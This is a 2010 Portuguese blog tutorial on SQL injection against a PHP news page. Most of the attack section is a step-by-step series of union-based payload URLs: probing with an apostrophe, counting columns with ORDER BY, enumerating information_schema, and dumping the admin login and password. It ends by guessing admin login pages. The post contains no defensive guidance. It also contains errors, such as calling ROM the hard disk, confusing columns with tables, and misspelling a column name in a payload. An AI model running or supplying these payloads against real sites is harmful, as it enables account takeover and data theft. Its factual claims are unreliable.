SQL injection (SQLi) - Estudo inicial
Autor: GonG4 | Publicado: 2010-03-16T14:07:00-07:00

Antes de avançarmos logo para o SQLi, vamos primeiro saber o que é SQL e como ele funciona.IntroduçãoPrimeiramente vocês tem que saber a diferença entre a chamada ROM e a RAM, nas quais todos os dispositivos digitais são programados. ROM significa Read Only Memory, que em português quer dizer "Memória somente de leirura", que é o chamado Disco Rígido ou HD (Hard Disk), a desvantagem dele é a velocidade baixa, mas seu potêncial para guardar dados é gigantesco. A RAM significa Random Access Memory, que português quer dizer "Memória de acesso randômico", que na verdade aceita leitura e escrita, possui uma velocidade muito grande, mas sua capacidade de guardar dados é muito baixa.Um servidor de internet geralmente usa um banco de dados para guardar informações gerais (notícias, contas, produtos, ...) e esses dados são acessados através de uma Query String (que logo irei falar sobre) que geralmente é chamada por linguagens de programação interpretadas, a maioria das vezes por PHP (Hypertext Preprocessor) e ASP (Active Server Pages).Enquanto essas linguagens são interpretadas, elas rodam em modo RAM, nesse tempo ela pode chamar uma Query String (que é o chamado SQL, Structured Query Language) que acessa o banco de dados presente na ROM, retornando valores referentes a pesquisa que a Query String especifica.~~Linguagem SQLO banco de dados é estruturado como várias matrizes matemáticas, possuí tabelas, linhas e colunas.A linguagem SQL é a que acessa esse banco de dados de modo estruturado. Exemplo de um código SQL:Tabela_1Coluna_1abColuna_212A tabela possuí as colunas e as colunas os valores, a sintaxe é a seguinte:select Coluna_1 from Tabela_1Retorno: a,bselect Coluna_2 from Tabela_2Retorno: 1,2select * from Tabela_2Retorno: a,b,1,2select * from Tabela_2 where Coluna_1='a' or Coluna_2=1Tradução: Selecionar qualquer objeto da tabela caso o valor de Coluna_1 seja "a" (sem aspas) ou o valor de Coluna_2 seja 1.Retorno: a,1OR ("ou") é um dos operadores de condições, os outros são AND ("e") e NOT ("não"). Eles retornam valores verdadeiros e falsos.Exemplo de uso do OR e AND:Nome da seu irmão: FernandoNome da sua irmã: AnaSe Nomedoirmão = 'Fernando' AND Nomedairmã = 'Ana' entãoNesse caso ele vai retornar Verdadeiro e Verdadeiro e o resultado geral vai ser Verdadeiro. Mas no próximo não:Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Rafaela' entãoRetorno: Verdadeiro AND Falso = FalsoBasta trocarmos o AND para OR que retornaremos Verdadeiro:Se Nomedoirmão = 'Fernando' OR Nomedairmã = 'Rafaela' entãoRetorno: Verdadeiro OR Falso = VerdadeiroTabela geralV = VerdadeiroF = FalsoV or V = VV or F = VF or F = FV and V = VV and F = FF and F = Fnot(V or V) = Fnot(V or F) = Fnot(F or F) = Vnot(V and V) = Fnot(V and F) = Vnot(F and F) = VNo site da W3 tem vários tutoriais em inglês sobre SQL:http://www.w3schools.com/sql/default.asp~~SQL injectionA arte de injetar códigos SQL começa na relação entre as linguagens de programação e a utilização de códigos SQL (Query String) na mesma.Nesse tutorial iremos falar de uma simples injeção SQL em um site programado em PHP. Mas primeiro vamos entender como um site acessa o banco de dados por um exemplo:www.site.com/noticia.php?id=1Exemplo acima quer dizer que o site acessa a notícia na posição 1 em uma determinada coluna de uma determinada tabela. Esse outro exemplo acessa a notícia na posição 2:www.site.com/noticia.php?id=2É simples, funciona como algo parecido com isso:select noticia from tabela_noticias where noticia_id = XEsse X você pode substituir pelo valor de id, no primeiro caso que eu apresentei o 1 e no segundo caso o 2.www.site.com/noticia.php?id=6SQL:select noticia from tabela_noticias where noticia_id = 6Retorna a notícia para uma variável no PHP e imprime na tela.Vamos entender como funciona dentro da linguagem PHP:$noticia=$_GET['id'];$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;Esse é um caso de código vulnerável, ele não elimina os caracteres especiais, como o ' (apóstrofo), fazendo com que o invasor possa executar outros comandos como ORDER e SELECT.~~Começando o ataqueBom, depois de ficar falando sobre as estruturas e tudo, vamos começar com um exemplo simples, como, por exemplo, aquele que nós usamos:$noticia=$_GET['id'];$query_string="select noticia from tabela_noticias where noticia_id =  ".$noticia;Site: www.site.com/notícia.php?id=...Para verificar se ele é mesmo vulnerável, já que não iremos ter acesso ao código fonte do site, colocamos um apóstrofo no valor de id:www.site.com/notícia.php?id='Ele retornará uma mensagem de erro SQL, pois a query não irá entender o que é ':select noticia from tabela_noticias where noticia_id =  'Agora que sabemos que ela é vulnerável, vamos injetar códigos SQL, ex.:www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9--ORDER = ordena as colunas e verifica quantas tem.-- = Finaliza o código SQL.Caso a tabela tabela_noticias tenha menos de 9 tabelas, ela retornará um erro. Caso ela tenha mais de 9 tabelas, ela não retornará nenhum erro, por isso vá almentando até conseguir saber quantas tabelas existem, ex.:www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--Imagine que eu use isso e ele retorne um erro assim: "Column 13 does not exists".Então agora iremos arruma-la de acordo com o que diz:www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12--Agora usaremos o comando UNION que serve para unir todas as colunas e mostra-las no lugar do texto que deveria ser a notícia, além disso devemos mudar o valor da notícia para um na qual não exista notícia, geralmente usamos negativo:www.site.com/notícia.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12--Union select = unir a seleção.Agora imagine que no site apareceu no lugar do titulo da notícia o valor 3 e no campo do texto o valor 4. Já que o texto provavelmente é maior, então usaremos ele para retornar todas as tabelas que existem no site:www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where 1=1--information_schema.tables é uma tabela que guarda todas as tabelas existentes no site. concat é um comando que concatena (junta) textos. No campo de texto ele retorna todas tabelas existentes no banco de dados, caso você não queira que ele mostre todos, usaremos um comando assim:www.site.com/notícia.php?id=-1 union select  1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from  information_schema.tables limit 2,1--Retorna 2ª tabela.www.site.com/notícia.php?id=-1 union select  1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from  information_schema.tables limit 4,1--Retorna 4ª tabela.Ou, para retornarmos só aquelas que começam com "a" (sem aspas), por exemplo, usaremos assim:www.site.com/notícia.php?id=-1 union select  1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from  information_schema.tables where table_name like 'a%'--Imagine que essa última retorne a tabela admin (que em português significa administrador), sendo assim usaremos nossas técnicas para pegar as colunas dela:www.site.com/notícia.php?id=-1 union select  1,2,3,group_concat(table_schema,'.',column_name),5,6,7,8,9,10,11,12 from  information_schema.columns where table_name='admin'--information_schema.columns guarda nome de colunas e o esquema (um "sub-banco de dados" que guarda tabelas). O que esse vai fazer é retornar todas as colunas e esquemas ta tabela admin.Digamos que ele retorne isso:admin_schema.id,admin_schema.login,admin_schema.senhaO que isso quer dizer é que o admin_schema é o esquema da tabela e o id, login e senha são as colunas. Agora é muito simples continuar, vamos tentar retornar o valor login e senha da tabela admin:1º de tudo) Juntamos o esquema com o nome da tabela: admin_schema.adminAgora vamos injetar a query:www.site.com/notícia.php?id=-1 union select  1,2,3,group_concat(logon,'.',senha),5,6,7,8,9,10,11,12 from admin_schema.admin where 1=1--Pronto, se retornar o login e senha do admin funcionou, ex.:admin123.senha123No caso acima, o login do admin é "admin123" (sem aspas) e a senha do mesmo é "senha123" (sem aspas).Agora procuramos pelo site de login do admin, geralmente são esses:www.site.com/adminwww.site.com/admin.phpwww.site.com/admin/adminwww.site.com/admin/admin.phpwww.site.com/loginwww.site.com/login.phpwww.site.com/login/loginwww.site.com/login/login.phpwww.site.com/login/adminwww.site.com/login/admin.phpwww.site.com/admin/loginwww.site.com/admin/login.phpCaso você consiga, pode ser que exista um LOG das localizações dos diretórios principais do site no arquivo robots.txt:www.site.com/robots.txt~~~~~~Bom, é isso pessoal, tomara que tenham gostado, até a próxima.